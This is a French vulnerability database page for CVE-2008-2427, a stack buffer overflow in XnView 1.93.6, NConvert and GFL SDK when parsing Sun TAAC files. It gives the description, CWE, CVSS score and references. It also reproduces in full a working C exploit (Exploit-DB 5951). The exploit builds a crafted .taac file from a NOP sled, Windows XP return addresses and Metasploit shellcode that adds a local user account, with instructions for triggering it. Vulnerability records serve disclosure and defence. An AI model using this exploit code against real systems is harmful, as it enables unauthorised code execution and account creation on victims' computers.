CVE-2008-2427 : Détail

CVE-2008-2427

Overflow
36.67%V4
Network
2008-06-24
17h00 +00:00
2018-10-11
17h57 +00:00
CVE.org
NVD
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Descriptions du CVE

Stack-based buffer overflow in NConvert 4.92, GFL SDK 2.82, and XnView 1.93.6 on Windows and 1.70 on Linux and FreeBSD allows user-assisted remote attackers to execute arbitrary code via a crafted format keyword in a Sun TAAC file.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 9.3 AV:N/AC:M/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 5951

Date de publication : 2008-06-25 22h00 +00:00
Auteur : Shinnok
EDB Vérifié : Yes

#include <stdio.h> #include <stdlib.h> /* XnView 1.93.6 for Windows .taac buffer overflow proof of concept. The vulnerability is caused due to a boundary error when processing the "format" keyword of Sun TAAC files. This can be exploited to cause a stack-based buffer overflow by e.g. tricking a user into viewing a specially crafted Sun TAAC file. Vulnerability discoverd by Secunia research http://secunia.com/secunia_research/2008-24/advisory/ Exploit code by Shinnok raydenxy@yahoo.com http://www.rstcenter.com This poc will create a "special" .taac file that when opened or viewed in XnView 1.93.6 for Windows will cause a buffer overflow and add an user "test" with password "test". Tested on Windows XP sp2&sp3. greetz to escalation666 /* /* win32_adduser - PASS=test EXITFUNC=seh USER=test Size=232 Encoder=PexFnstenvSub http://metasploit.com */ unsigned char scode[] = "\x2b\xc9\x83\xe9\xcc\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xbf" "\x93\x8f\x1e\x83\xeb\xfc\xe2\xf4\x43\x7b\xcb\x1e\xbf\x93\x04\x5b" "\x83\x18\xf3\x1b\xc7\x92\x60\x95\xf0\x8b\x04\x41\x9f\x92\x64\x57" "\x34\xa7\x04\x1f\x51\xa2\x4f\x87\x13\x17\x4f\x6a\xb8\x52\x45\x13" "\xbe\x51\x64\xea\x84\xc7\xab\x1a\xca\x76\x04\x41\x9b\x92\x64\x78" "\x34\x9f\xc4\x95\xe0\x8f\x8e\xf5\x34\x8f\x04\x1f\x54\x1a\xd3\x3a" "\xbb\x50\xbe\xde\xdb\x18\xcf\x2e\x3a\x53\xf7\x12\x34\xd3\x83\x95" "\xcf\x8f\x22\x95\xd7\x9b\x64\x17\x34\x13\x3f\x1e\xbf\x93\x04\x76" "\x83\xcc\xbe\xe8\xdf\xc5\x06\xe6\x3c\x53\xf4\x4e\xd7\x63\x05\x1a" "\xe0\xfb\x17\xe0\x35\x9d\xd8\xe1\x58\xf0\xe2\x7a\x91\xf6\xf7\x7b" "\x9f\xbc\xec\x3e\xd1\xf6\xfb\x3e\xca\xe0\xea\x6c\x9f\xe7\xea\x6d" "\xcb\xb3\xfb\x7b\xcc\xe7\xaf\x31\xfe\xd7\xcb\x3e\x99\xb5\xaf\x70" "\xda\xe7\xaf\x72\xd0\xf0\xee\x72\xd8\xe1\xe0\x6b\xcf\xb3\xce\x7a" "\xd2\xfa\xe1\x77\xcc\xe7\xfd\x7f\xcb\xfc\xfd\x6d\x9f\xe7\xea\x6d" "\xcb\xb3\xa0\x5f\xfb\xd7\x8f\x1e"; unsigned char ra_sp2[] = "\xed\x1e\x94\x7c"; unsigned char ra_sp3[] = "\x83\xbf\x8a\x5b"; unsigned char nops1[257]; //256 * \x90 unsigned char nops2[21]; //20 * \x90 int main(int argc, char **argv) { int i; FILE* f; printf("[+] XnView 1.93.6 for Windows .taac buffer overflow\n"); printf("[+] Discovered by Secunia : \nhttp://secunia.com/secunia_research/2008-24/advisory/\n"); printf("[+] Coded by shinnok,greetz to escalation666.\n http://www.rstcenter.com \n"); if ((argc!=2)||((atoi(argv[1])!=0)&&(atoi(argv[1])!=1))){ printf("Usage: %s target\n",argv[0]); printf("Where target is:\n"); printf("0: WinXP SP2\n"); printf("1: WinXP SP3\n"); printf("Successfull exploitation will result in the adding of user \"test\" with password \"test\".\n"); return EXIT_SUCCESS; } for(i=0;i<256;i++) nops1[i]='\x90'; nops1[256]='\0'; for(i=0;i<14;i++) nops2[i]='\x90'; nops2[20]='\0'; if(atoi(argv[1])==0) { f=fopen("sploit.taac","wb"); fprintf(f,"ncaa%crank=2;%cbands=3;%csize=125 123;%c",'\xa','\xa','\xa','\xa'); fprintf(f,"format=%s%s%s%s;%c",nops1,ra_sp2,nops2,scode,'\xa'); }else{ f=fopen("sploit.taac","wb"); fprintf(f,"ncaa%crank=2;%cbands=3;%csize=125 123;%c",'\xa','\xa','\xa','\xa'); fprintf(f,"format=%s%s%s%s;%c",nops1,ra_sp3,nops2,scode,'\xa'); } fclose(f); printf("sploit.taac created!\n"); printf("Now open sploit.taac in XnView or browse from it to the folder containing sploit.taac.\n"); printf("Then check with \"net user\" or from control panel for the user account test.\n"); return EXIT_SUCCESS; } // milw0rm.com [2008-06-26]

Products Mentioned

Configuraton 0

Pagesperso-orange>>Gfl_sdk >> Version 2.82

    Pagesperso-orange>>Nconvert >> Version 4.92

      Configuraton 0

      Microsoft>>Windows_nt >> Version *

      Pagesperso-orange>>Xnview >> Version 1.93.6

        Configuraton 0

        Freebsd>>Freebsd >> Version *

        Redhat>>Linux >> Version *

        Pagesperso-orange>>Xnview >> Version 1.70

          Références

          http://www.vupen.com/english/advisories/2008/1897
          Tags : vdb-entry, x_refsource_VUPEN
          http://www.vupen.com/english/advisories/2008/1896
          Tags : vdb-entry, x_refsource_VUPEN
          http://secunia.com/advisories/30789
          Tags : third-party-advisory, x_refsource_SECUNIA
          http://www.securityfocus.com/bid/29851
          Tags : vdb-entry, x_refsource_BID
          http://securitytracker.com/id?1020340
          Tags : vdb-entry, x_refsource_SECTRACK
          http://securityreason.com/securityalert/3956
          Tags : third-party-advisory, x_refsource_SREASON
          http://secunia.com/advisories/30416
          Tags : third-party-advisory, x_refsource_SECUNIA
          https://www.exploit-db.com/exploits/5951
          Tags : exploit, x_refsource_EXPLOIT-DB